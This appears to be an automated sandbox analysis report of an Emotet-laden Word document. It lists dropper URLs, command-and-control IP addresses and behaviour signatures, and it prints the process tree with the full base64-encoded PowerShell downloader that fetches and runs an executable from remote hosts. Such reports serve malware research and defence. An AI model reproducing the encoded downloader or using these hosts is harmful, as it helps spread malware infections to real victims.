Analysis

  • max time kernel
    69s
  • max time network
    78s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/08/2020, 16:34

General

  • Target
    emotet_e3_a67cf0d9b60d28e85c6e638246fd2a571eeb1d611905b836074de32b310cb36d_2020-08-17__163335._doc.doc
  • Size 232KB
  • Sample200817-vsz3kd769a
  • SHA256 a67cf0d9b60d28e85c6e638246fd2a571eeb1d611905b836074de32b310cb36d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://muliarental.com/f9u8w-mrs-88/VWVA/

  • exe.dropper

    https://dev.dosily.in/wp-content/qyY/

  • exe.dropper

    http://behnasan.com/wp-content/uZRqx/

  • exe.dropper

    http://www.leframe.com/zcMv/tATDYnJy/

  • exe.dropper

    http://runderfulthailand.com/jkats/LvJDvtg8270/

Extracted

Family
  • emotet

C2
  • 186.109.104.67:80

  • 185.86.148.68:443

  • 139.99.157.213:8080

  • 105.213.67.88:80

  • 190.53.144.120:80

  • 203.153.216.182:7080

  • 81.214.253.80:443

  • 195.201.56.70:8080

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 177.144.130.105:443

  • 92.24.51.238:80

  • 197.83.232.19:80

  • 105.209.235.113:8080

  • 188.0.135.237:80

  • 176.9.93.82:7080

  • 190.164.75.175:80

  • 188.251.213.180:443

  • 87.106.231.60:8080

  • 113.161.148.81:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a67cf0d9b60d28e85c6e638246fd2a571eeb1d611905b836074de32b310cb36d_2020-08-17__163335._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1088
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Users\Admin\AppData\Local\Temp\Ycfq.exe
      "C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\SysWOW64\msorc32r\dwmapi.exe
        "C:\Windows\SysWOW64\msorc32r\dwmapi.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1856

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/740-9-0x000007FEE9A40000-0x000007FEEA42C000-memory.dmp

        memory/740-10-0x0000000002010000-0x0000000002011000-memory.dmp

        memory/740-11-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

        memory/740-12-0x0000000002550000-0x0000000002551000-memory.dmp

        memory/740-13-0x0000000002420000-0x0000000002421000-memory.dmp

        memory/740-14-0x000000001AB40000-0x000000001AB41000-memory.dmp

        memory/740-15-0x000000001C450000-0x000000001C451000-memory.dmp

        memory/1088-4-0x0000000006E20000-0x0000000007020000-memory.dmp

        memory/1088-2-0x0000000008990000-0x0000000008994000-memory.dmp

        memory/1088-7-0x000000000BF50000-0x000000000BF54000-memory.dmp

        memory/1088-6-0x000000000AED0000-0x000000000AED4000-memory.dmp

        memory/1088-3-0x0000000006E20000-0x0000000007020000-memory.dmp

        memory/1180-18-0x00000000002C0000-0x00000000002CC000-memory.dmp

        memory/1672-23-0x000007FEEEDC0000-0x000007FEEF03A000-memory.dmp

        memory/1856-22-0x0000000000240000-0x000000000024C000-memory.dmp